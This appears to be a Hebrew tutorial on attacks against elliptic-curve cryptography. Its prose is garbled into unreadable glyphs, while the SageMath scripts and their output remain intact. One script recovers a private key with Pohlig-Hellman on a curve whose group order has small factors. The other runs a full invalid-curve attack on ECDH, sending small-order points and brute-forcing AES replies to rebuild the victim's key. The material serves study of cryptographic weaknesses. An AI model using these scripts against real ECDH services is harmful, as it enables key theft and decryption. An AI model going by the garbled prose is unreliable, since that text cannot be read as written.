ὲᴂὋ ˸˞ ˸˧˯˥˧ ˸ˣ˪˵˟ ˞ˣ˴ˬ˪ ˫˧˪ˣ˩˧ ˣˮ˥ˮ˞ ,ὲᴂ ˫˧ˬ˶ˣˠˢ ˧ˮ˷˪ ˫ˠ ˢˤ ˸˞ ˢ˷˰ˮˣ ,ˢˤ ˸˞ ˢ˷˰ˮ ˫˞ .

 ˫ˢ˷ ,ˣˮ˪˷ "˪ˠ˰ˬ"ˢ ˶ˡ˯ ˪˷ ˫˧˶˥˞ˢ ˫˧˧ˮˣ˷˞˶ˢр x-т:˫˧˞˟ˢ ˫˧˩˶˰ˢ ˸˞ ˣˮ˪ ˣ˧ˢ˧ , 

ὲḳ ὲᴂ άέὨ σ 

ὲḳ ὲᴂ άέὨ υ 

ὲḳ ὲᴂ άέὨ χ 

 ˸˞ ˞ˣ˴ˬ˪ ˸ˣ˪˵˟ ˭˸˧ˮ ,ˢ˪˞ˢ ˫˧˩˶˰ˢ ˸˷ˣ˪˷ ˨ˣ˸ˬὲ ˦˲˷ˬ˟ ˷ˣˬ˧˷ ˧ˡ˧ ˪˰  ˨˩˟ˣ ,˧ˮ˧˯ˢ ˸ˣ˧˶˞˷ˢ

.˸˧˶ˣ˵ˬˢ ˢ˧˰˟ˢ ˸˞ ˶ˣ˸˲˪ ˫˴˰˟ 

 

˦˰ˬ˩ ˶˲˯ˬ ˞ˣˢ ˶ˣ˦˶ˮˠˢ ˶ˡ˯-˭˦˵ ˧˦˶˲ˢ ˥˸˲ˬˢˣ ,˵˪˥ 

 ˫˧ˬ˶ˣˠ˪ ˵˶˲˸ˬ ˢ˟ ˶ˣ˦˶ˮˠˢ ˪˷ ˶ˡ˯ˢ˷ ˢˬˣ˵˰ ˫˧˪˟˵ˬ ˣˮ˧˧ˢ ,˸ˬˡˣ˵ˢ ˢ˲˵˸ˬ˪ ˢˬˣˡ ˭˲ˣ˞˟˷ ˥˧ˮˮ

˷˰ˬ ˢ˧ˢ˧˷ ˧ˡ˩ ˧ˡˬ ˪ˣˡˠ ˞ˣˢ ˶˸ˣ˧˟ ˪ˣˡˠˢ ˧ˮˣ˷˞˶ˢ ˫˶ˣˠˢ ,˫˰˲ˢ ˪˟˞ .˫˧˧ˮˣ˷˞˶ ˸˞ ˶ˣ˸˲˪ ˧ECDLP .

 ˨˶ˣ˞˟ ˞ˣˢ ˶ˣ˦˶ˮˠˢ ˶ˡ˯ ˫˞ ,˪˷ˬ˪нрс  ˨˶ˣ˞˟ ˞ˣˢ ˶˸ˣ˧˟ ˪ˣˡˠˢ ˧ˮˣ˷˞˶ˢ ˫˶ˣˠˢ ˨˞ ,˦˧˟128  .˦˧˟

 ˫˸˧˶ˣˠ˪˞ˢPohlig-Hellman Algorithm  ˪˷ ˪ˡˣˠ ˶ˡ˯ ˨˶˦˴˧ς  ,˧˦˶˲ˢ ˥˸˲ˬˢ ˸˞ ˞ˣ˴ˬ˪ ˧ˡ˩ ˸ˣ˪ˣ˰˲

.˧˷˰ˬ ˞˪ ˢˤ˷ 
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 ˞ˣˢ ˣ˟ ˣ˷ˬ˸˷ˢ˷ ˧˦˶˲ˢ ˥˸˲ˬˢ˷ ˫˧˰ˡˣ˧ ˣˮ˥ˮ˞ ˫˞ .˸ˣ˪˧˰˧˟ ˣ˸ˣ˞ ˞ˣ˴ˬ˪ ˸˞ˤ ˪˩˟ ˭˸˧ˮ ,˭˦˵ ˸˧˯˥˧

 ˨˶ˣ˞˟ ˧˦˶˲ˢ ˥˸˲ˬˢ˷ ˥˧ˮˮсп  ˫ˣ˵ˬ˟) ˦˧˟нрс  ˸˞ ˫˧˪˧˲˩ˬ ,˧˶ˣ˟˧˴ˢ ˥˸˲ˬˢ ˸˞ ˫˧˶˴ˣ˧˷˩ .(˦˧˟

 ˪˷ ˪ˡˣˠ˟ "˪ˠ˰ˬ"ˢ ˫ˮˬ˞ .˶˴ˣ˧ ˶ˣ˦˶ˮˠˢ˷ "˪ˠ˰ˬ"˟ ˧ˢ˷˪˩ ˢˡˣ˵ˮ ˫˧˪˟˵ˬˣ ˧˦˶˲ˢ ˥˸˲ˬ˟ ˶ˣ˦˶ˮˠˢ

 ˨˶˰˟ς ˣ˲˧˸" ˸˞ˤˢ ˢˡˣ˵ˮˢ ˨˞ ,˸ˣˡˣ˵ˮ˟ ˣˢ˷ˣ˲˧˞ "˪-ς  "ˢ˧˴˵˶˦ˮ˧˞" ˭˧˞ ."˸ˣˮˣ˷˞˶"ˢ ˸ˣˡˣ˵ˮˢ

.˶˸ˣ˧ ˫˧˪ˣˡˠ ˫˧˩˶˰˪ ˸ˣˬ˧˞˸ˬ˷ "˪ˠ˰ˬ"˟ ˸ˣˡˣ˵ˮ˪ ˧˦˶˲ˢ ˥˸˲ˬˢ ˭˧˟ 

 ˸˞ ˳˧˶ˢ˪ ˭˸˧ˮPohlig-Hellman Algorithm ˧˞ˮ˸˟ ,˧ˡˬ ˫˧˪ˣˡˠˢ "˫˧˪ˠ˰ˬ"ˢ ˪˰ ˣ˟ "˶˸ˣˣ˪" ˪˟˞ ,

ˣ˞ ˸ˣ˥˲˪ ˪˷ ˨˶ˣ˞˟ ˢ˧ˢ˸ ˫˧˶˸ˣˮˢ "˫˧˪ˠ˰ˬ"ˢ ˧˶ˡ˯ ˸˪˲˩ˬ˷ ˵˧˲˯ˬ ˞˴ˬˮ ˫˞ .˧˦˶˲ˢ ˥˸˲ˬˢ ˨˶

 ˨˶ˣ˞˟ ˸ˣ˥˲˪ ˫ˢ˪˷ ˢ˪˲˩ˬˢ˷ ,˫˧ˮ˦˵ ˫˧˧ˮˣ˷˞˶ ˫˧ˬ˶ˣˠсп  ˣ˧ˢ˧ ˫ˢ˪ ˫˧ˬ˧˞˸ˬˢ "˫˧˪ˠ˰ˬ"ˢ ˤ˞ ,˦˧˟

.˫ˡˣ˵ ˣˮ˧˞˶˷ ˢ˲˵˸ˬˢ ˢ˸ˣ˞ ˸˞ ˰˴˟˪ ˧ˡ˩ ˫˧˵˧˲˯ˬ 

 ˢ˧˴˵ˮˣ˲ˢ ˧˩ ,ˣˮˬ˴˰˟ ˫˧˶˟ˡ ˷ˬˬ˪ ˨˶˦˴ˮ ˫˰˲ˢ ,ˡˣ˵ ˸˟˧˸˩ ˸ˮ˧˥˟ˬ ˫˧˪˵ ˫˧˧˥ ˣˮ˪ ˣ˧ˢ ˫ˡˣ˵ ˫˞

discrete_log  ˪˷SageMath  ˞˟ˢ ˡˣ˵ˢ ˰˦˵ .˫˧˧ˮˣ˷˞˶ ˫˧ˬ˶ˣˠˢˬ ˵˪˥ ˪˰ "˶˸ˣˣ˪" ˨˧˶˴˷ ˸˰ˡˣ˧ ˞˪

:ˢˤ ˸˞ ˢ˷ˣ˰ 

p = 88664572752015126127869404674421545790506871948117527783533589813159111825511 
a = 13 
b = 37 
E = EllipticCurve(GF(p), [a,b])  
G = E(19374976316789648652022260955836934561553454311144967863145605756652014623129, 
68630819472054489323664324766002023315775509214344811025345735680440707888471)  
n = G.order()  
 
print ( "Number of bits in n:" , n.nbits())  
factors = n.factor()  
print ( "n's factors:" , factors)  
 
PRIVATE_KEY_BIT_SIZE = 64 
import random 
private_key = random.randrange( 2^PRIVATE_KEY_BIT_SIZE) 
P = private_key * G 
 
print ( "We know that the private key is" , PRIVATE_KEY_BIT_SIZE, "bits long" )  
print ( "Lets find which of the factors of G's order are relevant for finding the priv ate 
key" )  
# find factors needed such that the order is greater than the secret key size  
count_factors_needed = 0 
new_order = 1 
for p, e in factors:  
    new_order *= p^e 
    count_factors_needed += 1 
    if new_order.nbits() >= PRIVATE_KEY_BIT_SIZE: 
        print ( "Found enough factors! The rest are not needed" )  
        break  
factors = factors[:count_factors_needed]  
print ( "Considering these factors:" , factors)  
 
print ( "Calculating discrete log for each quotient group..." )  
subsolutions = []  
subgroup = []  
for p,  e in factors:  
    quotient_n = (n // p ^ e)  
    G0 = quotient_n * G # G0's order is p^e  
    P0 = quotient_n * P 
    k = G0.discrete_log(P0)  
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    subsolutions.append(k)  
    subgroup.append(p ^ e) # k the order of G0  
 
print ( "Running CRT..." )  
found_key = crt( subsolutions, subgroup)  
assert found_key * G == P 
assert private_key == found_key  
print ( "success!" )  
 

 

ˢˬ .˫˧˧ˮˣ˷˞˶ ˫˧ˬ˶ˣˠ˪ ˣ˪˷ ˵ˣ˶˧˲ˢ ˸˞ ˫˧˯˧˲ˡˬˣ ,ˢ˟ ˶ˣ˦˶ˮˠˣ ˸˧˦˲˧˪˞ ˢˬˣ˵˰ ˫˧˶˧ˡˠˬ ˢˤ ˡˣ˵ ˰˦˵˟ 

:˞ˣˢ ˨˯ˬ˪ ˯˲ˡˣˬ˷ 

Number of bits in n: 256 

n's factors: 2 * 3 * 29 * 2699 * 28751 * 831913766251 * 92996710252298530263979 
* 84878782522781478604307230464271  

ˢ ˪˷ ˶ˡ˯ˢ ˨˶ˣ˞˟ ˞ˣˢ ˶ˣ˦˶ˮˠнрс  ˫ˢ˟ ˫˧˪ˣˡˠˢ ˧ˮ˷˷ ˨˩ ,˫˧˧ˮˣ˷˞˶ ˫˧ˬ˶ˣˠ ˶˲˯ˬ˪ ˵˶˲˸ˬ ˞ˣˢˣ ,˦˧˟

 ˫˧˩˶ˣ˞˟ ˫ˢтт ˣ ˦˧˟-млт  ˸˞ ˫ˢ˟ ˶ˣ˸˲˪ ˧˷˰ˬ ˢ˧ˢ˧ ˞˪˷ ˧ˡ˩ ˫˧˪ˣˡˠ ˵˧˲˯ˬ ˫ˢ .˦˧˟ECDLP ˶˥˞˪ .

 ˨˶ˣ˞˟ ˧˦˶˲ ˥˸˲ˬ ˫˧˪˧˶ˠˬ ˭˩ˬсп  "˫˧˲˯ˣ˞" ˞˟ˢ ˟˪˷˟ .˧˶ˣ˟˧˴ ˥˸˲ˬ ˫˧˟˷˥ˬˣ ,˸˧˞˶˵˞ ˢ˶ˣ˴˟ ˦˧˟

 ˸ˣ˥˲˪ ˣ˩˶ˣ˞˷ ˶ˡ˯ ˫˧˪˟˵ˬ˷ ˡ˰ ˫˧˧ˮˣ˷˞˶ ˫˧ˬ˶ˣˠ ˵˧˲˯ˬсп :˞ˣˢ ˨˯ˬ˪ ˯˲ˡˣˬ˷ ˢˬ .˦˧˟ 

We know that the private key is 64 bits long  
Lets find which of the factors of G's order are relevant for finding the private key  
Found enough factors! The rest are not needed  

Considering these factors: [(2, 1), (3, 1), (29, 1), (2699, 1), (28751, 1), 
(831913766251, 1)]  

 ˨˶ˣ˞˟ ˞ˣˢ ˣ˸˧˞ ˣˮ˶˞˷ˮ˷ ˶˸ˣ˧˟ ˪ˣˡˠˢ ˫˶ˣˠˢˣ ,˫˧˶˸ˣ˧ˬ ˫˧˪ˣˡˠˢ ˫˧ˬ˶ˣˠˢ ˧ˮ˷˷ ˸ˣ˞˶˪ ˭˸˧ˮпл  .˦˧˟

 ˸ˣˡˣ˵ˮ ˫˧˟˷˥ˬ ,˫˸˧˞ ˣˮ˶˞˷ˮ˷ ˫˧ˬ˶ˣˠˢˬ ˡ˥˞ ˪˩˪ ,˞˟ˢ ˟˪˷˟Ὃᴂ x-ὖᴂ ˯ˢ˷ ˧˲˩ ˪˩ ˶ˣ˟˰ˣ ,˫ˡˣ˵ ˧˸˶˟

 ˸˞ ˫˧˶˸ˣ˲ ˫ˢˬ ˡ˥˞ECDLP ˸ˣˬ˧˷˶˟ ˫˧˶ˬˣ˷ ˫˧˧ˮˣ˷˞˶ˢ ˫˧ˬ˶ˣˠˢ ˸˞ˣ ˸ˣ˞˴ˣ˸ˢ ˸˞ .subsolutions x-

subgroups  ˥˸˲ˬˢ ˧ˡ˩˪ ˧ˮ˧˯ˢ ˸ˣ˧˶˞˷ˢ ˦˲˷ˬ ˸˶ˤ˰˟ ˸ˣ˞˴ˣ˸ˢ ˪˩ ˸˞ ˫˧ˡ˥˞ˬ ,˱ˣ˯˟˪ .ˢˬ˞˸ˢ˟

.˭ˣ˩ˮ ˭˩˞ ˞ˣˢ˷ ˫˧˞ˡˣˣˬˣ ,˧˦˶˲ˢ 

 

ˢˬˣ˵˰ˢ ˪˰ ˸˞˴ˬˮ ˢˡˣ˵ˮ˷ ˢ˵˧ˡ˟ ˶˯ˣ˥ 

 ˶ˣ˟˧˥ ˸˪ˣ˰˲˟˷ ˞˧ˢˣ ˸ˮ˧˧ˮ˰ˬ ˢˮˣ˩˸˟ ˪˵˸˧ˮ ,˸ˣ˧˦˲˧˪˞ ˸ˣˬˣ˵˰˟ ˸ˣˡˣ˵ˮ ˭˧˟ ˶ˣ˟˧˥ ˸˶ˡˠˢ˪ ˶ˣˤ˥ˮ ˫˞

 ˨˶˰˟ ˷ˣˬ˧˷ ˭˧˞ὦ ˫˧˩˶˰˟ ˵˶ ˞˪˞ ,ὥ x-ὴ ˧˟ˠ ˪˰ ˸ˣ˞˴ˬˮ˷ ˸ˣˡˣ˵ˮ ˭˧˟ ˶ˣ˟˧˥ ˸˪ˣ˰˲˷ ˨˩˪ ˫˶ˣˠ ˶˟ˡˢ .

 ˨˶˰˟ ˢˮˬˬ ˢˮˣ˷˷ ,˸˶˥˞ ˢˬˣ˵˰ ˶ˣ˟˰ ˫ˠ ˸ˣ˰ˬ˷ˬ ˸˪˰˟ ˸ˣ˧ˢ˪ ˢ˪ˣ˩˧ ˸˥˞ ˢˬˣ˵˰ὦ  ˶˟ˡˢ .ˡ˟˪˟

 ˧ˮ˷ˢ ˡ˴ˢˬ ˪˟˵ˬ ˞ˣˢ˷ ˢˡˣ˵ˮˢ˷ ˞ˡˣˣˬ ˞˪ ˷ˬ˸˷ˬˢ ˫˞ .˶˲˯ˬ˟ ˢˡˣ˵ˮ ˪˲˩ ˶ˣ˟˰ ˫ˠ ˭˟ˣˬ˩ ˭ˣ˩ˮ ˢˤˢ

,ˣ˪˷ ˢˬˣ˵˰ˢ ˪˰ ˸˞˴ˬˮ ˧˶ˣ˟˧˴ ˥˸˲ˬ ˶ˣ˸˟  ˠˣ˯ˬ ˢ˲˵˸ˬ˪ ˣˬ˴˰ ˸˞ ˱˷ˣ˥ ˞ˣˢ ˤ˞Invalid Curve 

Attack. 

 ˸˧˦˲˧˪˞ ˢˬˣ˵˰ ˪˰ ˣˬ˧˩˯ˢ ˫˧ˡˡ˴ ˧ˮ˷˷ ˥˧ˮˮὉρ ˧˪ ˪ˣ˩˧ ˱˵ˣ˸ .˧ˢ˷˪˩ ˢˬˣ˵˰ ˶ˣ˴Ὁς ˧˩˶˰ ˢ˪ ˷˧˷ ,ὥ x-

ὴ ˪ ˫˧ˢˤ-Ὁρ  ˨˶˰ ˨˞ὦ  ˢˬˣ˵˰˟ .ˢˮˣ˷Ὁς  ˢˡˣ˵ˮ ˶˥˟˧ ˱˵ˣ˸ˢὖ  ˪˷ˬ˪ ,˭˦˵ ˢ˪˷ ˶ˡ˯ˢ˷о ˭˟ˣˬ˩ .
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 ˢˡˣ˵ˮˢ˷ὖ  ˪˰ ˢ˧ˢ˸ ˞˪Ὁρ ˨˶˰ ˫˰ ˢ˞ˣˣ˷ˬ ˸ˬ˧˧˵ˬ ˞˧ˢ ˧˩ ,ὦ ˟˷ ˢˤˬ ˢˮˣ˷-Ὁρ ˸˞ ˥˪˷˧ ˱˵ˣ˸ˢ .

 ˢˡˣ˵ˮˢὖ ˮ .˷ˬ˸˷ˬˢ ˪˞ ˣ˪˷ ˧˶ˣ˟˧˴ˢ ˥˸˲ˬˢ ˶ˣ˸˟ ˞ˣˢ˷ ˢˡˣ˵ˮˢ˷ ˞ˡˣˣ˪ ˥˶ˣ˦ ˞˪ ˷ˬ˸˷ˬˢ˷ ˥˧ˮ

 ˢˬˣ˵˰ˢ ˪˰ ˸˞˴ˬˮ ˭˩˞ ˪˟˧˵Ὁρ  ˞ˣˢ˷ ˧˶ˣ˟˧˴ˢ ˥˸˲ˬˢ ˸˞ ˥˵˧ ˷ˬ˸˷ˬˢ .ˢ˧˪˰ ˣˬ˧˩˯ˢ ˫˧ˡˡ˴ˢ˷

ˢ ˸ˣ˧ˢ˪ ˢ˶ˣˬ˞ ˞˧ˢ˷ ˢˡˣ˵ˮ˪ ˰˧ˠ˧ˣ ,ˣ˪˷ ˧˦˶˲ˢ ˥˸˲ˬ˟ ˣ˸ˣ˞ ˪˧˲˩˧ ,˱˵ˣ˸ˢˬ ˪˟˧˵ ˸˧ˡˣ˯ˢ ˢˡˣ˵ˮ

 ˪ˣ˵ˣ˦ˣ˶˲ˢ ˸˶ˡˠˢ˟ ˣˮ˧˞˶˷ ˧˲˩ ˸˲˸ˣ˷ˬˢECDH ˸ˮ˧˥˟ˬ . ˪˰ ˪˲˩ˢ ˸˪ˣ˰˲ ˸˞ ˟˷˥˧ ˞ˣˢ ,˷ˬ˸˷ˬˢ

 ˢˬˣ˵˰ˢ ˧˟ˠὉρ ˢˡˣ˵ˮˢ˷ ˪˪ˠ˟ ˨˞ .ὖ  ˪˰ ˞˪˞ ,ˢ˧˪˰ ˸˞˴ˬˮ ˞˪ ˪˪˩Ὁς ˸˞ ˟˷˥˧ ˫˴˰˟ ˷ˬ˸˷ˬˢ ,

 ˢˬˣ˵˰ˢ ˪˰ ˪˲˩ˢ ˸˪ˣ˰˲Ὁς ˨˧˷ˬˢ˪ ˧ˡ˩ ˸˲˸ˣ˷ˬˢ ˸˧ˡˣ˯ˢ ˢˡˣ˵ˮˢ ˪˰ ˨ˬ˸˯˧ ˷ˬ˸˷ˬˢ ,˨˷ˬˢ˟ .

 ˸˦ˮ˧ˡ˶ˣ˞ˣ˵˟ ˫˧˷ˬ˸˷ˬ ˫˧ˡˡ˴ˢ˷ ˥˧ˮˮ .˱˵ˣ˸ˢ ˫˰ ˸˶ˣ˷˵˸ˢ ˸˞-sὼ  ˢˮ˲˴ˢ ˥˸˲ˬ ˶ˣ˸˟ ˢˡˣ˵ˮˢ ˪˷

 ˪˷AES ˢ˰ˡˣˢˢ ˸˞ ˣ˪ ˥˪˷˧ˣ ˱˵ˣ˸˪ ˶˧˟˰ˢ˪ ˢ˴ˣ˶ ˞ˣˢ˷ ˢ˰ˡˣˢ ˧ˢ˷ˣˤ˧˞ ˭˧˲˴˧ ˷ˬ˸˷ˬˢ ,ˢˤ ˢ˶˵ˬ˟ .

.˸ˮ˲˴ˣˬˢ 

 ˪˷ ˶ˡ˯ˢ˷ ˭ˣˣ˧˩ˬὖ  ˞ˣˢо ˵˶ ˷˧ ,о  ˪˰ ˶ˣ˟˰˧ ˱˵ˣ˸ˢ .˟˷˥˧ ˷ˬ˸˷ˬˢ˷ ˸˲˸ˣ˷ˬˢ ˢˡˣ˵ˮ˪ ˸ˣ˧ˣ˶˷˲˞

о ˬ˧˞˸ˬ ˭ˢ˧ˮ˧˟ˬ ˧ˬ ˞˴ˬ˧ˣ ,˸ˣ˧˶˷˲˞ˢ ˸ˣˡˣ˵ˮˢ ˸ˮ˲˴ˣˬˢ ˢ˰ˡˣˢˢ ˸˞ ˢ˥˪˴ˢ˟ ˥ˮ˰˲ˬ˷ ˥˸˲ˬ˪ ˢ

 ˢ˪˥˸ˢˢ ˸ˡˣ˵ˮˣ ˣˤˢ ˢˡˣ˵ˮˢ ˭˸ˮ˧ˢ˟ .˷ˬ˸˷ˬˢˬ ˢ˰˧ˠˢ˷ὖ ˸˧˶˞˷ ˸˞˴ˣ˸ ˸˞ ˵˧˯ˢ˪ ˪ˣ˩˧ ˱˵ˣ˸ˢ ,

 ˶˲˯ˬ˟ ˧˦˶˲ˢ ˥˸˲ˬˢ ˪˷ ˢ˵ˣ˪˥ˢо ˸ˣˡˣ˵ˮ ˷ˬ˸˷ˬ˪ ˥ˣ˪˷˪ ˪ˣ˩˧ ˱˵ˣ˸ˢ .ὖ  ˫˰ ,˸ˣ˲˯ˣˮ ˸ˣ˧ˮˣˡˤ

 ˪˷ˬ˪ ,˫˧˪ˡˠˣ ˫˧˩˪ˣˢ ˫˧˶ˡ˯р ,т .ˢ˞˪ˢ ˨˩ˣ , ˭˲ˣ˞˟ ˫˧ˠ˴˧˧ˬ˷ ˫˧˩˶˰ ˵˧˲˯ˬ ˱ˣ˯˞˪ ˪ˣ˩˧ ˱˵ˣ˸ˢ ˢˤ

 ˧ˡ˩ ˧ˮ˧˯ˢ ˸ˣ˧˶˞˷ˢ ˦˲˷ˬ˟ ˷ˬ˸˷˧ ˱˵ˣ˸ˢ ˱ˣ˯˟˪ .˫˧ˮ˦˵ ˫˧˶˲˯ˬ˟ ˧˦˶˲ˢ ˥˸˲ˬˢ ˪˷ ˢ˵ˣ˪˥ ˸ˣ˧˶˞˷

.˸ˬˡˣ˵ˢ ˢ˲˵˸ˬ˟ ˣˮ˧˞˶˷ ˢˬ˪ ˢˢˤ ˭˲ˣ˞˟ ,˷ˬ˸˷ˬˢ ˪˷ ˧˦˶˲ˢ ˥˸˲ˬˢ ˸˞ ˟˷˥˪ 

˪ˠ˰ˬ" ˪˰ ˢˡˣ˵ˮ ˷ˬ˸˷ˬ˪ ˵˲˯˪ ˪ˣ˩˧ ˱˵ˣ˸ :˧˟˧˦˧˞ˣ˦ˮ˧˞ ˶˸ˣ˧ ˶˟˯ˢ ˢˮˢ ˨˶ˣ˞˟ ˪˷ˬ˪ ,ˡˣ˞ˬ ˭˦˵ "н .

 ˡ˰˧ˢ ˸ˡˣ˵ˮ ˸˞ ˰ˡˣ˧ ˱˵ˣ˸ˢ .ˡ˰˧ˢ ˸ˡˣ˵ˮ˪ ˰˧ˠ˧ˣ ˣˢ˷˪˩ ˫˧ˡ˰˴ ˶˲˯ˬ ˢˤˢ "˪ˠ˰ˬ"˟ ˫ˡ˵˸˧ ˷ˬ˸˷ˬˢ

 ˭˧˟ˬ ˸˥˞ ˸ˣ˧ˢ˪ ˢ˪ˣ˩˧˷ ,˷ˬ˸˷ˬˢ ˪˷н  ˷ˬ˸˷ˬˢ ˫˞ ˸˰ˡ˪ ˪ˣ˩˧ ˱˵ˣ˸ˢ ˭˩˪ .˪˩ˢ ˨˯˟ ˸ˣ˧ˣ˶˷˲˞

˧˞ ˣ˞ ˧ˠˣˤ ˶˲˯ˬ ˫ˡ˵˸ˢ- ˪ˣ˩˧ ˱˵ˣ˸ˢ .˪ˠ˰ˬˢ ˧˟ˠ ˪˰ ˫˧ˡ˰˴ ˪˷ ˧ˠˣˤ ˪˰ ˸ˣˡˣ˵ˮ ˷ˬ˸˷ˬ˪ ˵˲˯˪

 ˫˧˲˯ˣˮ "˫˧˪ˠ˰ˬ"-  ˫˧˩˶ˣ˞˟3 ,р ,т ˫ˢˬ ˡ˥˞ ˪˩˷ ,ˢ˪˞˩˷ ˫˧ˬ˶ˣˠ ˵˧˲˯ˬ ˱˵ˣ˸˪ ˣ˧ˢ˧˷ ˡ˰ .ˢ˞˪ˢ ˨˩ˣ ,

 ˫˧˩˶˰ˢ ˪˩ ˸˞ ˟˪˷˪ ˪ˣ˩˧ ˱˵ˣ˸ˢ ˱ˣ˯˟˪ .˫ˡ˵˸ˢ ˷ˬ˸˷ˬˢ˷ ˫˧ˡ˰˴ˢ ˶˲˯ˬ ˪˰ ˦˰ˣˬ ˰ˡ˧ˬ ˪˧˩ˬ

˷ ˧˦˶˲ˢ ˥˸˲ˬˢ ˣˢˤ˷ ,˫ˡ˵˸ˢ ˷ˬ˸˷ˬˢ˷ ˵˧ˣˡˬˢ ˫˧ˡ˰˴ˢ ˶˲˯ˬ ˧ˡ˩˪ ˢ˪˞ˢ.ˣ˪ 

:ˢ˲˵˸ˬˢ ˸˞ ˫˧ˠˡˬ ˞˟ˢ ˡˣ˵ˢ ˰˦˵ 

from ecdsa.ecdsa import generator_128r1, curve_128r1  
from Crypto.Util.number import long_to_bytes  
from Crypto.Util.Padding import pad, unpad  
from Crypto.Cipher import AES 
import random 
 
# Select a curve and generator  
curve  = curve_128r1  
G = generator_128r1  
n = G.order()  
p = curve.p()  
a = curve.a()  
 
# This is the private key of the other side, we don't know it and don't use it!  
private_key = random.randrange(n)  
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# Both sides encrypt and decrypt data the same way  
# key is th e shared point's x coordinate, IV is point's y coordinate  
def encrypt_data ( shared_point , message):  
    if shared_point.is_zero():  
        x, y = 0, 0 
    else :  
        x, y = shared_point.xy()  
    key = long_to_bytes( int (x)).rjust( 16, b" \ x00" )  
    iv = lon g_to_bytes( int (y)).rjust( 16, b" \ x00" )  
    cipher = AES.new(key, AES.MODE_CBC, iv)  
 
    message = pad(message.encode(), 16)  
    return cipher.encrypt(message)  
 
def decrypt_data ( shared_point , enc_message):  
    if shared_point.is_zero():  
        x, y = 0, 0 
    else :  
        x, y = shared_point.xy()  
    key = long_to_bytes( int (x)).rjust( 16, b" \ x00" )  
    iv = long_to_bytes( int (y)).rjust( 16, b" \ x00" )  
    cipher = AES.new(key, AES.MODE_CBC, iv)  
 
    decrypted = cipher.decrypt(enc_message)  
    return unpad(decrypt ed, 16)  
 
def ECDH( A):  
    # Send our public key to the other side  
    # Have them reach the shared point and  
    # Send us an encrypted message using the shared point as key  
 
    # This part takes place remotely and is unknown to the attacker  
    shared_po int = private_key * A 
    message = "Inconceivable!"  
    return encrypt_data(shared_point, message)  
 
def brute_force_encrypted_message ( A, encrypted_message , max_order ):  
    # Returns n such that n*A matches the key used to encrypt the message  
    for i in range ( 1, max_order):  
        shared_point = i * A 
        try :  
            # If both padding is correct and all characters are ascii  
            # Then it is probably the correct encryption key  
            decrypted = decrypt_data(shared_point, encrypted_m essage)  
            decrypted = decrypted.decode()  
            return i  
        except :  
            continue  
    raise Exception ( "Did not find a value for one of the encrypted messages" )  
 
def find_curves_with_small_subgroup ( p, a, max_order ):  
    # Yield tu ples of (order, point) such that the point is  
    # on a curve with the same a & p values, but different b  
    # and the point's order is <= max_order  
    orders_found = set ()  
    b = 0 
    while True :  
        b += 1 
        if b == p:  
            # Ran ou t of b values  
            break  
        if ( 4* a^3 + 27* b^2) % p == 0:  
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            # Curve is singular  
            continue  
 
        E = EllipticCurve(GF(p), [a, b])  
        for _ in range ( 100):  
            R = E.random_point()  
            n = R.order()  
            for f, e in n.factor():  
                if f in orders_found:  
                    continue  
                if f > max_order:  
                    break  
 
                # Create a point with order f  
                orders_found.add(f)  
                P = (n // f) * R 
                assert P.order() == f  
                yield (f, P)  
 
subsolutions = []  
subgroup = []  
max_order = 10000 
upto = 1 
for order, A in find_curves_with_small_subgroup(p, a, max_order):  
    upto *= order  
    print ( "Found point wi th order" , order, "so now can find keys of size up to" , upto)  
 
    # Send this point as our public key and get an encrypted message from other side  
    encrypted_message = ECDH(A) 
 
    # Find the value n such that: private_key = n (mod order)  
    key_mod_order = brute_force_encrypted_message(A, encrypted_message, max_order)  
 
    # Save result to be used in CRT later  
    subsolutions.append(key_mod_order)  
    subgroup.append(order)  
 
    # Found enough values to calculate private key  
    if upto >= n:  
        break  
 
print ( "Found enough values! Running CRT..." )  
found_key = crt(subsolutions, subgroup)  
print ( "Found private key" , found_key)  
assert private_key == found_key  
print ( "success!" )  

˷ˬˣ ˸˧˞˶˵˞ ˢ˶ˣ˴˟ ˧˦˶˲ ˥˸˲ˬ ˶˥ˣ˟ ˷ˬ˸˷ˬˢ ,ˢ˟ ˶ˣ˦˶ˮˠˣ ˢˬˣ˵˰ ˫˧˶˥ˣ˟ ˢˤ ˡˣ˵ ˰˦˵˟ ˣ˟ ˷ˬ˸

 ˪ˣ˵ˣ˦ˣ˶˲˟ ˫˧˷ˣˬ˧˷ˢ ˪˩ ˨˶ˣ˴˪ECDH ˢ˧˴˵ˮˣ˲ˢ .find_curves_with_small_subgroup  ˪˷ ˸ˣˠˣˤ ˸˞˴ˣˬ

 ˢˮˣ˷˷ ˧ˢ˷˪˩ ˢˬˣ˵˰ ˪˰ ˸˞˴ˬˮ ˢˡˣ˵ˮˢˣ ,˭˦˵ ˸˧˯˥˧ ˞ˣˢ ˢˡˣ˵ˮ ˪˩ ˪˷ ˶ˡ˯ˢ˷ ˨˩ ,˶ˡ˯ˣ ˸ˣˡˣ˵ˮ

 ˨˶˰˟ ˸˧˶ˣ˵ˬˢ ˢˬˣ˵˰ˢˬὦ  .ˣ˞˴ˬˮ ˸ˣˠˣˤ ˵˧˲˯ˬ˷ ˡ˰ ˢ˪˞˩ ˸ˣˠˣˤ ˶˴˧˧ˬ ˡˣ˵ˢ .ˡ˟˪˟ ˫˧˥˪ˣ˷ ,ˠˣˤ ˪˩˪

 .˸ˮ˲˴ˣˬ ˢ˰ˡˣˢ ˣˮˬˬ ˫˧˪˟˵ˬˣ ˧˶ˣ˟˧˴ˢ ˥˸˲ˬˢ ˸˞ ˷ˬ˸˷ˬ˪ 

 ˫˧˰˴˟ˬBrute Force  ˣ˪ˣˡˣˬ ,˷ˬ˸˷ˬˢ ˪˷ ˧˦˶˲ˢ ˥˸˲ˬˢ ˨˶˰ ˸˞ ˞ˣ˴ˬ˪ ˧ˡ˩ ˸ˮ˲˴ˣˬˢ ˢ˰ˡˣˢˢ ˪˰

 ˟˷˥˪ ˧ˡ˩ ˧ˮ˧˯ˢ ˸ˣ˧˶˞˷ˢ ˦˲˷ˬ˟ ˫˧˷ˬ˸˷ˬ ˱ˣ˯˟˪ˣ ,ˢ˪˞ˢ ˸ˣ˞˴ˣ˸ˢ ˪˩ ˸˞ ˫˧˶ˬˣ˷ .˧˥˩ˣˮˢ ˶ˡ˯ˢ

ˬˢ ˪˷ ˧˦˶˲ˢ ˥˸˲ˬˢ ˸˞ ˸˶ˣ˷˵˸ˢ˷ ˫ˢ˧ˮ˧˟ ˣˬ˧˩˯ˢ ˫˧ˡˡ˴ˢ ˢˤ ˢ˶˵ˬ˟ .˭ˣ˩ˮ ˞ˣˢ˷ ˫˧˞ˡˣˣˬˣ ˷ˬ˸˷
